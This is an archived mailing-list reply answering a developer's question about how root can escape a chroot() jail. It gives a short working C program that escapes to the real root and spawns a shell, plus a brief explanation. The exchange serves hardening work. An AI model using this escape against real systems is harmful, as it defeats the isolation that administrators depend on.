Re: prevent breaking a chroot() jail?

["Miquel van Smoorenburg" <miquels@cistron.nl>]

In article <1025877004.11004.59.camel@zaphod>,
Shaya Potter  <spotter@cs.columbia.edu> wrote:
>I'm trying to develop a way to ensure that one can't break out of a
>chroot() jail, even as root.  I'm willing to change the way the syscalls
>work (most likely only for a subset of processes, i.e. processes that
>are run in the jail end up getting a marker which is passed down to all
>their children that causes the syscalls to behave differently).
>What should I be aware of?  I figure devices (no need to run mknod in
>this jail) and chroot (as per man page), is there any other way of
>breaking the chroot jail (at a syscall level or otherwise)?

int main()
{
	chdir("/");
	mkdir("foo");
	chroot("foo");
	chdir("../../../../../../..");
	chroot(".");
	execl("/bin/sh", "sh", NULL);
}

Run as root and you're out of the chroot jail. This is because
chroot() doesn't chdir() to the new root, so after a chroot() in
the chroot jail you're suddenly out of it.

Mike.